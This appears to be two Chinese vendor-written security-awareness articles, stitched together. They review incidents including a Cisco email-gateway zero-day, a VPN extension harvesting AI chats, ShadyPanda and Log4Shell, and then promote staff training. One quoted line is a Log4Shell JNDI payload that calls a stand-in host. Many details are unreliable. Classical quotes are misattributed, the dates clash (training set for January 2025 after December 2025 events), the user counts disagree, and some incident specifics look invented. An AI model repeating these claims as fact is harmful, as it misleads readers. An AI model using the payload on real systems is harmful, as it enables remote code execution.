从“邮件闸口”到“暗网猎狐”——一次零日漏洞沉默中的警钟,呼唤全员安全防线


一、头脑风暴:两桩典型安全事件的深度剖析

案例一:Cisco Secure Email Appliance 零日被攻击——“闸口”不设防的代价

2025 年 12 月,全球信息安全媒体披露,一支与中国有关联的黑客组织利用 Cisco Secure Email Gateway(以下简称 SE‑G)以及 Secure Email、Web Manager 三款基于 AsyncOS 的邮件安全设备,实施了持续性的零日攻击。攻击的入口并非传统的 Web 漏洞、密码猜测,而是一个看似不起眼的功能——Spam Quarantine(垃圾邮件隔离)。该功能在默认情况下是关闭的,但在不少企业的实际运营中,为了提升邮件投递的准确率,管理员会手动启用并对外暴露管理端口,以便远程审查和放行误判的邮件。正因如此,攻击者在互联网上扫描到开放的管理接口后,借助未公开的漏洞植入后门,实现了对邮件系统的持久性控制。

  • 技术要点:漏洞位于 AsyncOS 的 HTTP API 处理流程,攻击者发送特制的 HTTP 请求,触发内存越界,进而执行任意代码。利用此漏洞,攻击者能够在受影响的邮件安全设备上植入持久化的恶意进程,进而拦截、读取甚至篡改企业内部和外部的邮件流量。
  • 影响范围:邮件安全设备往往部署在网络的核心位置,承担 “进出信任边界” 的关键职责。一旦被攻破,攻击者即可在企业内部获得近乎 管理员级别 的视野,甚至利用邮件系统作为横向渗透的跳板,进一步攻击内部业务系统。
  • 厂商响应:Cisco 官方在发现攻击后披露:“目前没有可用的补丁,唯一的修复方案是对已确认被攻陷的设备进行 彻底重建(wipe‑and‑rebuild)”。这一建议在业界引起强烈争议——重建意味着要暂停邮件服务、重新配置防火墙规则、恢复数据备份,业务连续性面临巨大冲击。

从这起事件我们可以得到的警示是:“功能即风险”。 一项在业务层面被视为便利的功能,若未做好最小化暴露、严格访问控制和及时更新,极易成为攻击者的突破口。企业在推进灵活的云邮件安全服务时,必须审慎评估每一项可选功能的安全属性,切勿因“一时便利”而埋下长期隐患。


案例二:伊朗 APT “Prince of Persia” 重返战场——暗网新型恶意软件与指挥控制基础设施

仅仅两天后,另一篇报道点燃了安全社区的另一盏警灯:伊朗的高级持续性威胁组织(APT)Prince of Persia 在 2025 年 12 月 19 日发布了全新恶意软件家族,并搭建了覆盖全球的指挥控制(C2)基础设施。与以往主要针对能源、政府的电磁波干扰不同,此次攻击聚焦 供应链、科研机构以及跨境金融,尤其是通过 GitHub、PyPI 等开源平台投放“隐蔽的后门”。

  • 攻击链条:黑客首先在公开的开源项目中植入恶意代码,该代码在满足特定条件(如检测到特定组织的内部网络)后,向其自建的暗网 C2 服务器发送加密心跳。C2 服务器部署在多个司法辖区,利用 分布式隐藏服务(Onion 完全路由) 进行指令下发,极大提高了追踪难度。
  • 创新点:利用 AI 生成的代码混淆(如通过大语言模型自动混写函数名、注释),使得传统的签名扫描与静态分析失效;并且通过 供应链注入,让受害组织的安全团队误以为是合法的依赖更新。
  • 危害:一旦植入成功,攻击者即可窃取科研数据、利用被劫持的机器进行加密货币挖矿、甚至直接对金融交易系统进行 “交易欺诈”,对企业的商业机密和财务安全造成不可估量的损失。

此案例告诉我们,攻击者的 “隐形”与 “跨界” 越来越强。过去我们只关注传统的网络边界防护,如防火墙、入侵检测系统;而今天,攻击者已经把 供应链、开源生态、AI 代码生成 纳入武库。企业的安全防线必须从“外围”转向“全链路”,实现对 代码、依赖、部署环境、运行时行为 的全方位监控。


小结:这两起案例虽然场景、技术手段迥异,却有一个共同点——安全的盲点往往隐藏在业务需求与技术便利的交叉点上。如果我们不对这些盲点保持警惕,它们将成为攻击者的“金矿”。下面,我们将在“具身智能化、数据化、自动化”时代的大背景下,探讨如何从制度、技术、意识三层面,构建企业的全员防御体系。


二、具身智能化、数据化、自动化融合的时代特征

  1. 具身智能(Embodied Intelligence)——机器不再是孤立的代码,而是深度嵌入生产线、办公空间、物流仓库的“有形智能”。工业机器人、智能摄像头、IoT 传感器的普及,使得 每一个物理节点都是潜在的攻击点
  2. 数据化(Datafication)——业务、运营、客户交互全部数字化,产生海量结构化与非结构化数据。数据湖、数据中台的建设让 数据泄露的后果放大——一次泄露可能波及数十万客户的个人信息。
  3. 自动化(Automation)——从 CI/CD 流水线到自动化运维(AIOps),企业追求 “一键部署、全程监控”。 可是,自动化脚本若被植入后门,将成为 “原子弹”,一键即触发大规模攻击。

在这样的大环境下,安全的“技术防线”必须与“人文防线”同步升级。技术手段可以检测异常流量、阻断已知漏洞,但 人是系统的最终环节——只有当每位职工都具备基本的安全意识,才能在技术失效时提供第一道防线。


三、全员参与、共同筑堡:即将开启的信息安全意识培训

1. 培训的核心价值

  • 提升风险感知:通过案例复盘,让每位同事理解“我可能是下一个受害者”。正如《易经》云:“危者,机也”。只有感知到危机,才能主动寻找解决之道。
  • 普及防御技能:从 密码管理、钓鱼邮件识别、社交工程防范安全配置审计、日志分析入门,覆盖从 端点云平台 的全链路。
  • 培养安全文化:安全不是 IT 部门的专属职责,而是 企业文化的一部分。通过 “安全积分榜”“安全之星” 等激励机制,把安全行为转化为员工的自豪感。

2. 培训的结构与方法

模块 目标 形式 关键点
基础篇 认识信息安全基本概念、常见威胁 PPT+互动问答 ① 密码策略 ② 多因素认证 ③ 社交工程
进阶篇 掌握企业系统的安全配置要点 案例演练(模拟渗透) ① 邮件安全设备配置 ② 云资产权限最小化
实战篇 快速应对突发安全事件 案例研讨(Cisco、APT)+角色扮演 ① 事件报告流程 ② 取证要点 ③ 恢复步骤
创新篇 了解 AI、自动化对安全的影响 视频+专家访谈 ① AI 生成代码的风险 ② 自动化脚本审计
评估篇 检验学习效果,巩固知识 在线测评 + 实战演练 通过率 90% 以上方可获证书

3. 培训时间安排

  • 启动仪式(2025 年 12 月 28 日):高层致辞,阐述安全使命。
  • 每周一次“安全微课堂”(30 分钟),利用碎片化时间,滚动更新最新威胁情报。
  • 专项实战演练(每月一次,2 小时),通过红蓝对抗的方式,让团队亲身体验攻防过程。
  • 终极考核(2026 年 1 月 15 日),评估学习成果,颁发《信息安全合格证》。

4. 参与方式

  • 线上报名:通过公司内部门户填写报名表,系统自动分配学习路径。
  • 线下实训:在安全实验室(已部署隔离网络)进行实战演练,确保不影响生产系统。
  • 学习激励:完成全部课程并通过考核的同事,将获得 “安全守护者徽章”,并在年度绩效中计入 “安全贡献分”

四、从案例到行动:我们该如何在日常工作中落地安全防护?

  1. 最小化暴露——对外开放的管理接口必须通过 VPN、双因素认证 加固;不使用的功能(如 Spam Quarantine)应默认关闭
  2. 分层防御——在邮件安全设备前部署 Web 应用防火墙(WAF),并开启 异常流量监控,及时捕获异常请求。
  3. 安全更新——无论是操作系统、邮件网关还是开发库,都应在 发现 CVE72 小时内完成评估与更新
  4. 备份审计——对关键系统的备份进行 离线校验,防止被植入后门的备份再次恢复。
  5. 代码审查——在 CI/CD 流程中加入 静态代码分析(SAST)依赖安全扫描,尤其是对 开源依赖安全属性 进行定期审计。
  6. 威胁情报共享——订阅 行业安全情报平台(如 ATT&CK、CVE),并在内部安全团队例会上进行信息共享。

五、结语:让安全成为企业的“第二自然”

古人有云:“防微杜渐,祸不及大。”在数字化、智能化高速发展的今天,安全已经不再是“事后救火”,而是 每一次业务决策、每一行代码提交、每一次系统配置的必经之路。正如《孙子兵法》所言:“上兵伐谋,其次伐交,其次伐兵,其下攻城。”
我们要做的,就是把 “伐谋” 融入到每个人的日常工作中——在思考业务创新时,同步思考潜在的安全风险;在部署新技术时,提前规划安全加固措施。

让我们在即将启动的信息安全意识培训中,从个人到团队,从技术到文化,形成合力,把“安全意识”转化为“安全行动”,把“防御能力”提升为“主动防御”。只要每一位同事都能在自己的岗位上做到警惕、学习、实践,企业的整体安全防线就会像铜墙铁壁般坚不可摧。

让我们共同守护这座数字城池,让安全成为我们每个人的自觉行动!

在昆明亭长朗然科技有限公司,信息保密不仅是一种服务,而是企业成功的基石。我们通过提供高效的保密协议管理和培训来支持客户维护其核心竞争力。欢迎各界客户与我们交流,共同构建安全可靠的信息环境。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898

网络危机四象限·安全意识新风向——让每一次点击都成为防线的加固


前言:头脑风暴的四颗“炸弹”

在信息安全的世界里,危机往往像暗流潜行,却时常在不经意间翻涌成巨浪。为了让大家感受到危机的真实温度,我在这里先抛出四个典型案例——它们或隐蔽、或惊悚、或荒诞,却都拥有共同的教育意义:“技术再先进,安全思维缺失,后果必然血泪”。让我们先在脑中点燃这四颗“炸弹”,再一起拆解其中的每一根导火索。

案例 “炸弹”标签 关键教训
1️⃣ Urban VPN Proxy 跨平台 AI 对话窃取 “隐形窃听者” 任何标榜“隐私”的工具,都可能暗藏数据收集后门;默认开启的脚本是最致命的隐蔽点。
2️⃣ ShadyPanda 七年潜伏,感染 430 万 Chrome 与 Edge 用户 “潜伏式供应链” 恶意扩展可以长期潜伏、悄无声息地收集信息;更新机制成为攻击的加速器。
3️⃣ Chrome Enterprise 误配导致企业内网泄露 “管理失控” 大企业对浏览器安全策略的误判,可导致敏感数据在内部网络中被轻易捕获;权限最小化是根本防线。
4️⃣ Log4Shell 访问量冲击 4000 万次,暴露关键业务 “开源漏洞放大镜” 开源组件的单一点漏洞,若未及时修复,能在短时间内放大成全行业的流量风暴;资产清单补丁管理不可或缺。

下面,我将逐一剖析这四个案例的技术细节、攻击路径、影响范围以及对我们日常工作中安全防护的启示。希望通过鲜活的案例讲解,让每位同事在“笑中有泪、泪中有悟”的阅读体验里,真正内化安全意识。


案例一:Urban VPN Proxy 跨平台 AI 对话窃取

1. 事件概述

2025 年 12 月,《Infosecurity Magazine》披露,拥有 600 万+ 下载量的 Chrome 扩展 Urban VPN Proxy(以下简称 Urban VPN)在 5.5.0 版本中暗植脚本,主动拦截用户在 ChatGPT、Claude、Gemini 等主流 AI 平台的对话内容。该脚本不受 VPN 开关、或所谓的“AI 保护”功能的约束,默认开启,且无法通过用户设置关闭。截获的对话经压缩后发送至运营公司 Urban Cyber Security Inc.(旗下关联数据经纪商 BiScience),随后据称被用于营销分析并可能向第三方出售。

2. 技术实现

步骤 关键技术点 目的
代码注入 利用 Chrome 扩展的 content_scripts 权限,在 AI 平台页面注入 JavaScript。 在页面加载后立即劫持 fetchXMLHttpRequestWebSocket 等网络 API。
网络重写 覆盖 window.opennavigator.sendBeacon 等函数,实现透明劫持 捕获用户输入的 Prompt、AI 返回的 Response、时间戳、会话 ID。
本地压缩 使用 pako(zlib)库对数据进行 GZIP 压缩。 减少传输体积,降低被网络监控检测的概率。
后台上报 通过 fetch('https://analytics.urbanvpn.com/collect') POST 加密 payload。 将数据批量发送至自建服务器,完成“收集—转移”。

更为隐蔽的是,此脚本在 manifest V3 中声明的 host_permissions 已覆盖 所有 *.openai.com/**.anthropic.com/**.gemini.google.com/* 等域名,使得审计者难以在权限清单中直接发现违规行为。

3. 影响评估

  • 用户范围:据 Koi 研究团队统计,约 8 百万 Chrome 与 Edge 用户在 2025 年 7 月至今可能已被采集对话。
  • 数据敏感度:包括 医疗问诊金融理财企业机密代码个人情感 等高度隐私信息。
  • 潜在后果:若数据被用于精准营销或出售给黑灰产,可导致 身份盗窃、商业间谍、诈骗攻击等连锁反应。

4. 教训与对策

  1. 审计扩展权限:仅安装官方渠道(如 Chrome Web Store)且拥有 明确 权限说明的扩展;对 跨域 权限尤其警惕。
  2. 禁用默认自动更新:在企业环境中采用 集中管理(如 GPO)控制扩展版本,防止潜在后门随更新悄然出现。
  3. 使用安全浏览器沙箱:如 Microsoft Edge Enterprise 配置 Application Guard,将 AI 站点与常规浏览分离。
  4. 网络层监控:部署 HTTPS 解密代理(在合规前提下)监测异常的 POST 请求至未知域名。

引用:“天下难事,必作于易;天下大事,必作于细。”——《孟子·告子下》。在信息安全领域,细微的权限滥用往往酝酿成巨大的风险。


案例二:ShadyPanda 七年潜伏,感染 430 万 Chrome 与 Edge 用户

1. 事件概述

同样来自《Infosecurity Magazine》2025 年 12 月的报道,ShadyPanda 这款恶意扩展在 七年(2018‑2025)时间里潜伏在 Chrome 与 Edge 商店中,累计感染 4.3 百万用户。它通过伪装成 广告拦截器网页截图工具等常用功能,获取用户的 浏览历史登录凭证系统信息,再借助 C2(Command & Control)服务器转发至黑客组织。

2. 供应链攻击链

阶段 行动 关键点
植入 利用 开发者账号泄露(通过钓鱼或弱密码)发布恶意扩展。 伪原创图标、评分,制造“高可信度”。
传播 通过 Chrome Web Store 的推荐位与 SEO 关键词(如 “best ad blocker”。) 获得自然流量,导致大量用户自行下载。
激活 安装后立即执行 payload,通过 native messaging 与本地可执行文件通信。 触发 系统持久化(注册表、计划任务)。
数据收集 监听 浏览器网络请求、注入 键盘记录脚本 采集 cookies、会话 token,后续可实现 SSO 绕过。
回传 使用 HTTPS 隧道 加密数据至 C2 隐蔽性高,难以被普通流量监控捕捉。

3. 为何能潜伏七年?

  1. 可信开发者标签:一旦账号被黑,攻击者即可利用 Google Play Protect 对其进行“白名单”认证。
  2. 细分功能分离:ShadyPanda 家族在 七个子扩展中分别实现广告拦截密码管理VPN系统监控等功能,降低单个扩展被举报的概率。
  3. 自动更新:通过 Chrome 自动更新 机制推送新版本,隐藏后门代码的更换。

4. 防御思路

  • 开发者账号安全:采用 MFA密码管理器登录异常监测,避免账号被窃取。
  • 扩展审计:使用 SAST/DAST(静态/动态)工具对已安装扩展进行 代码审计
  • 行为白名单:在企业网络层配置 扩展行为白名单,仅允许运行经过审批的扩展。
  • 安全教育:向员工普及 “非官方来源”“过度权限” 的危害,提升自我防护意识。

典故:“蜀道之难,难于上青天。”——李白《蜀道难》
信息安全的路径同样曲折:若不严防“入口”,再坚固的防御也会被轻易绕过去。


案例三:Chrome Enterprise 误配导致企业内网泄露

1. 事件概述

2025 年 10 月,某全球金融集团在部署 Chrome Enterprise 时因 策略误配置,导致内部管理系统的 Web 管理控制台 对外暴露。攻击者通过公开的 Google Cloud IP 地址直接访问内部后台,抓取 客户数据交易日志内部审计报告。此漏洞被公开后,仅 48 小时内已有 约 20 万泄露记录被黑市买家搜罗。

2. 误配细节

配置项 正确做法 实际错误
ExtensionAllowedTypes 仅允许内部签名扩展 误写为 *(允许所有来源)
URLBlocklist 阻止外部访问 https://internal.company.com/* 未加入白名单,导致外网可直接访问
UserDataDir 存放在受保护的加密卷 配置为系统默认路径,易被外部直接读取
EnterprisePolicySync 集中下发策略,开启 ForceInstall 未启用 ForceInstall,导致本地用户自行安装未知插件

3. 攻击路径

  1. 信息收集:利用搜索引擎与 Shodan 扫描开放的 443 端口,定位到内部控制台的 HTTP Header 信息泄露“X-Chrome-Enterprise”。
  2. 凭证猜测:通过 默认登录(admin/admin)尝试暴力破解,结合 已知密码生成规则(8 位 + 年份)成功登陆。
  3. 数据导出:利用控制台的 CSV 导出功能一次性检索 150 万条交易记录。

4. 关键反思

  • 最小化权限原则:企业政策必须 “白名单” 而非 “黑名单”——默认拒绝全部外部请求,仅开放必需端口与域名。
  • 统一审计:使用 SIEM(如 Splunk、Elastic)实时监控 策略变更日志,任何异常编辑立即触发告警。
  • 多因素认证(MFA):对内部管理系统强制使用 硬件 token手机 OTP,阻止凭证猜测攻击。
  • 渗透测试:定期进行 红队演练,验证策略实施的有效性。

格言:“防微杜渐,防患未然。”——《荀子·劝学》
在企业级浏览器管理中,一次细小的误配足以打开 全网攻击的后门,切不可轻视。


案例四:Log4Shell 访问量冲击 4000 万次,暴露关键业务

1. 事件概述

2025 年 6 月,著名的 Log4j 2.x 漏洞(CVE‑2021‑44228,俗称 Log4Shell)再次因 旧版库未补丁而在某大型电商平台上被 攻击者激活。短短 24 小时内,平台日志服务器接收到 4,000 万 次异常请求,导致 业务爬虫被中断订单处理延迟 3 小时,并让黑客得到 后台管理凭证

2. 漏洞复现核心

// 受害代码示例Logger logger = LogManager.getLogger("app");logger.error("${jndi:ldap://malicious.com/Exploit}");
  • JNDI 注入:通过特制的 LDAP 请求,触发 Java 远程代码执行(RCE)。
  • 日志实时写入:每一次请求都会写入日志,导致恶意 JNDI 被解析执行。

3. 为什么仍会复发?

  1. 遗留系统:大量企业仍在使用 内部遗留业务,未进行 持续的依赖管理
  2. 容器镜像治理缺失:在 Docker、K8s 环境中,镜像 层级不清,旧版 Log4j 隐匿在 基础镜像中。
  3. 缺乏安全基线:企业未制定 组件版本基线,导致开发者随意升级或回滚。

4. 防御路径

  • 软件资产管理(SAM):建立完整的软件组件清单(SBOM),实时追踪每个服务使用的 Log4j 版本。
  • 自动化补丁:通过 CI/CD 流水线把 安全扫描(Trivy、Snyk)集成到 PR 审核环节,确保每次构建都通过 漏洞检测
  • 容器安全:使用 镜像签名(Notary)以及 运行时防护(Falco)监控异常网络访问。
  • 网络隔离:对内部日志收集系统启用 VPC 隔离,禁止 外部 JNDI 解析请求,防止 RCE 通过网络渗透。

名言:“欲速则不达,欲擒故纵。”——《道德经》第六十五章
对于漏洞治理,急功近利只会导致后患无穷;踏实的持续治理才是根本之策。


信息安全的时代:具身智能、无人化、机器人化的融合挑战

1. 具身智能(Embodied Intelligence)崛起

具身智能指的不是单纯的算法,而是 感知‑决策‑执行 的完整闭环系统,涵盖 智能机器人自动化生产线智能客服 等。它们通过 摄像头、传感器、麦克风 采集海量实时数据,再通过 边缘计算 完成本地推理。

  • 安全隐患:传感器原始数据若未加密,可能被 中间人攻击 窃取,导致 工业间谍机器误操作
  • 案例呼应:Urban VPN 对 AI 对话的窃取正是具身智能在云端交互时的典型泄露,若把这些对话写入机器人指令,后果不堪设想。

2. 无人化(Unmanned)系统的快速渗透

无人机、无人驾驶汽车、无人仓储等 无人化系统高度自治 为卖点,依赖 云端指令与本地控制 双向通信。

  • 安全风险:如果 指令通道 被劫持,攻击者可以 劫持、篡改或阻断 关键任务,例如 物流卡车 被迫偏离路线,或 无人机 被用于非法拍摄。
  • 防护要点:采用 端到端加密(TLS‑1.3)+ 硬件安全模块(HSM) 对指令签名验证;对关键指令流进行 异常行为检测

3. 机器人化(Robotics)与 AI 融合

现代机器人大多集成 大型语言模型(LLM),实现自然语言交互、故障诊断甚至代码生成。

  • 隐私威胁:机器人若直接调用 云端 LLM,其交互数据(包括企业机密、研发文档)将通过网络传输。若未加密或未对供应商进行审计,数据可能被泄露
  • 案例映射:Urban VPN 在用户不知情的情况下收集 AI 对话,正是 机器人化交互数据泄漏的缩影

4. 综合治理的三层防线模型

层级 目标 实施要点
感知层(Edge) 对设备、传感器、机器人进行 完整身份认证加密通道 TPM、Secure Boot、TLS‑1.3、硬件根信任。
传输层(Network) 防止 MITM流量劫持指令篡改 零信任网络访问(ZTNA)、SD‑WAN 加密、微分段。
管理层(Cloud/Enterprise) 实现 统一策略、审计、补丁,以及 AI/ML 安全监控 SIEM + UEBA、SOAR 自动化响应、DevSecOps 流水线。

引用:“工欲善其事,必先利其器。”——《论语·卫灵公》
在具身智能、无人化、机器人化的时代,“器”就是我们的安全技术与治理流程;只有持续利器,才能在高速迭代的技术浪潮中保持优势。


呼吁:加入信息安全意识培训,让每个人成为安全的第一道防线

各位同事,安全不是某个部门的孤岛,而是全员参与的系统工程。面对 Urban VPN 的暗箱收割、ShadyPanda 的长期潜伏、Chrome Enterprise 的误配以及 Log4Shell 的复燃,技术手段可以封堵但防护的根本在于每个人的安全意识

1. 培训亮点

模块 内容 目标
0️⃣ 基础篇 浏览器安全、密码管理、社会工程学辨识 形成安全认知,养成安全习惯
1️⃣ 进阶篇 VPN 与代理的原理、扩展权限审计、CSP(内容安全策略) 技术防御思维,掌握实战技巧
2️⃣ 漏洞响应篇 漏洞生命周期、应急响应流程、日志分析 打通发现‑响应‑复盘闭环。
3️⃣ 智能时代安全篇 具身智能、机器人交互安全、无人化系统防护 前沿技术纳入安全治理视角。
4️⃣ 案例研讨 现场复盘 Urban VPNShadyPanda 等案例 真实事故中提炼可落地措施

培训采用 线上直播 + 互动实验 的混合模式,配合 虚拟靶场(CTF)让大家亲手演练 扩展权限审计JNDI 注入检测TLS 配置验证等实战技能。

2. 参与方式

  • 报名渠道:公司内部门户 → “培训中心” → “信息安全意识培训”。
  • 培训时间:2025 年 1 月 15 日(周三)上午 9:30‑12:00,线上直播;随后 14:00‑16:30 进行 实战实验
  • 考核方式:培训结束后将进行 30 分钟闭卷(场景题+选择题),合格者颁发 《信息安全合格证书》,并计入 年度绩效

激励:完成培训且通过考核的同事,将有机会获得 公司内部“安全之星”徽章额外两天弹性休假,以及 2025 年度安全创新基金(专项用于个人安全创意项目)。

3. 行动号召

古语有云:“千里之堤,毁于蚁孔”。
在我们公司的信息系统里,每一条 浏览器扩展、每一次 AI 对话、每一个 代码提交,都可能是潜在的“蚁孔”。只有 全员安全意识,才能让这道千里堤坝牢不可破。

请大家 立即报名,与我们一起 构筑数字防线,让 “不被收集、不被入侵、不被操纵” 成为日常工作的底色。未来的具身智能、无人化与机器人化时代已经到来,安全的主动防御是我们在技术浪潮中保持竞争力的关键。

让我们从今天起,以审慎的眼光审视每一个插件,以严谨的姿态配置每一项策略,以敬畏的心情对待每一次数据交互。
相信安全,成就非凡!


昆明亭长朗然科技有限公司强调以用户体验为核心设计的产品,旨在使信息安全教育变得简单、高效。我们提供的解决方案能够适应不同规模企业的需求,从而帮助他们建立健壮的安全防线。欢迎兴趣客户洽谈合作细节。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898